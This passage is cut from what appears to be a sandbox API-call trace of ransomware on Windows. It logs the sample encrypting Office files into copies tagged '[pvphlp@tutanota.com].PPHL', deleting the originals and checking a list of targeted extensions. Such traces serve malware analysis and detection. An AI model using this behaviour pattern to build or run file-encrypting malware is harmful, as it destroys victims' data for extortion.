lpString2=".xml") returned 1 [0064.606] lstrlenW (lpString=".rar") returned 4 [0064.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString=".bz2") returned 4 [0064.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString=".7z") returned 3 [0064.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0064.606] lstrlenW (lpString=".dbf") returned 4 [0064.607] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.697] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.697] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0067.698] GetLastError () returned 0x0 [0067.698] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x795, lpOverlapped=0x0) returned 1 [0067.703] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0067.704] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0067.704] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0067.705] SetEndOfFile (hFile=0x200) returned 1 [0067.705] CloseHandle (hObject=0x200) returned 1 [0067.706] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.706] SetEndOfFile (hFile=0x1fc) returned 1 [0067.707] CloseHandle (hObject=0x1fc) returned 1 [0067.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0067.707] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0067.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.708] lstrlenW (lpString=".doc") returned 4 [0067.708] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0067.708] lstrlenW (lpString=".docx") returned 5 [0067.708] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0067.708] lstrlenW (lpString=".pdf") returned 4 [0067.708] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0067.708] lstrlenW (lpString=".xls") returned 4 [0067.708] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0067.708] lstrlenW (lpString=".xlsx") returned 5 [0067.708] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0067.708] lstrlenW (lpString=".ppt") returned 4 [0067.708] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0067.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.708] lstrlenW (lpString=".zip") returned 4 [0067.708] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0067.708] lstrlenW (lpString=".rar") returned 4 [0067.708] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0067.708] lstrlenW (lpString=".bz2") returned 4 [0067.708] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0067.708] lstrlenW (lpString=".7z") returned 3 [0067.708] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0067.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString=".dbf") returned 4 [0067.709] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString=".1cd") returned 4 [0067.709] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString=".jpg") returned 4 [0067.709] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString=".doc") returned 4 [0067.709] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0067.709] lstrlenW (lpString=".docx") returned 5 [0067.709] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0067.709] lstrlenW (lpString=".pdf") returned 4 [0067.709] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0067.709] lstrlenW (lpString=".xls") returned 4 [0067.709] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0067.709] lstrlenW (lpString=".xlsx") returned 5 [0067.709] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0067.709] lstrlenW (lpString=".ppt") returned 4 [0067.709] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.709] lstrlenW (lpString=".zip") returned 4 [0067.710] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0067.710] lstrlenW (lpString=".rar") returned 4 [0067.710] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0067.710] lstrlenW (lpString=".bz2") returned 4 [0067.710] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0067.710] lstrlenW (lpString=".7z") returned 3 [0067.710] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.710] lstrlenW (lpString=".dbf") returned 4 [0067.710] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.710] lstrlenW (lpString=".1cd") returned 4 [0067.710] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0067.710] lstrlenW (lpString=".jpg") returned 4 [0067.710] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0067.710] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0067.710] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0067.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.711] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1565) returned 1 [0067.711] CloseHandle (hObject=0x1fc) returned 1 [0067.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0067.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0067.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.711] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.711] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0067.712] GetLastError () returned 0x0 [0067.712] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x61d, lpOverlapped=0x0) returned 1 [0067.714] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x620, lpOverlapped=0x0) returned 1 [0067.715] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0067.715] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0067.716] SetEndOfFile (hFile=0x200) returned 1 [0067.716] CloseHandle (hObject=0x200) returned 1 [0067.718] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.718] SetEndOfFile (hFile=0x1fc) returned 1 [0067.719] CloseHandle (hObject=0x1fc) returned 1 [0067.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0067.720] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0067.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.720] lstrlenW (lpString=".doc") returned 4 [0067.720] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.720] lstrlenW (lpString=".docx") returned 5 [0067.720] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0067.720] lstrlenW (lpString=".pdf") returned 4 [0067.720] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.720] lstrlenW (lpString=".xls") returned 4 [0067.720] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.720] lstrlenW (lpString=".xlsx") returned 5 [0067.720] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0067.720] lstrlenW (lpString=".ppt") returned 4 [0067.720] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.720] lstrlenW (lpString=".zip") returned 4 [0067.720] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.721] lstrlenW (lpString=".rar") returned 4 [0067.721] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString=".bz2") returned 4 [0067.721] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString=".7z") returned 3 [0067.721] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.721] lstrlenW (lpString=".dbf") returned 4 [0067.721] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.721] lstrlenW (lpString=".1cd") returned 4 [0067.721] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.721] lstrlenW (lpString=".jpg") returned 4 [0067.721] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.721] lstrlenW (lpString=".doc") returned 4 [0067.721] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString=".docx") returned 5 [0067.721] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0067.721] lstrlenW (lpString=".pdf") returned 4 [0067.721] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.721] lstrlenW (lpString=".xls") returned 4 [0067.721] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString=".xlsx") returned 5 [0067.722] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0067.722] lstrlenW (lpString=".ppt") returned 4 [0067.722] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.722] lstrlenW (lpString=".zip") returned 4 [0067.722] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.722] lstrlenW (lpString=".rar") returned 4 [0067.722] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString=".bz2") returned 4 [0067.722] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString=".7z") returned 3 [0067.722] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.722] lstrlenW (lpString=".dbf") returned 4 [0067.722] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.722] lstrlenW (lpString=".1cd") returned 4 [0067.722] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0067.722] lstrlenW (lpString=".jpg") returned 4 [0067.722] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.722] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0067.723] lstrlenW (lpString="SETUP.XML") returned 9 [0067.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.724] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=2296) returned 1 [0067.724] CloseHandle (hObject=0x1fc) returned 1 [0067.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0067.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0067.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.724] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.724] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0067.727] GetLastError () returned 0x0 [0067.727] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x8f8, lpOverlapped=0x0) returned 1 [0068.148] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x900, lpOverlapped=0x0) returned 1 [0068.149] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0068.149] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.149] SetEndOfFile (hFile=0x200) returned 1 [0068.149] CloseHandle (hObject=0x200) returned 1 [0068.171] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0068.171] SetEndOfFile (hFile=0x1fc) returned 1 [0068.172] CloseHandle (hObject=0x1fc) returned 1 [0068.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.172] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.173] lstrlenW (lpString=".doc") returned 4 [0068.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString=".docx") returned 5 [0068.173] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.173] lstrlenW (lpString=".pdf") returned 4 [0068.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString=".xls") returned 4 [0068.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString=".xlsx") returned 5 [0068.173] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.173] lstrlenW (lpString=".ppt") returned 4 [0068.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.173] lstrlenW (lpString=".zip") returned 4 [0068.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.173] lstrlenW (lpString=".rar") returned 4 [0068.173] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString=".bz2") returned 4 [0068.173] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.173] lstrlenW (lpString=".7z") returned 3 [0068.173] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.173] lstrlenW (lpString=".dbf") returned 4 [0068.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString=".1cd") returned 4 [0068.174] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString=".jpg") returned 4 [0068.174] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString=".doc") returned 4 [0068.174] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString=".docx") returned 5 [0068.174] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.174] lstrlenW (lpString=".pdf") returned 4 [0068.174] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString=".xls") returned 4 [0068.174] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString=".xlsx") returned 5 [0068.174] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.174] lstrlenW (lpString=".ppt") returned 4 [0068.174] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString=".zip") returned 4 [0068.174] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.174] lstrlenW (lpString=".rar") returned 4 [0068.174] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString=".bz2") returned 4 [0068.174] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.174] lstrlenW (lpString=".7z") returned 3 [0068.174] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.174] lstrlenW (lpString=".dbf") returned 4 [0068.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.175] lstrlenW (lpString=".1cd") returned 4 [0068.175] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0068.175] lstrlenW (lpString=".jpg") returned 4 [0068.175] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.175] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.175] lstrlenW (lpString="SETUP.XML") returned 9 [0068.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: 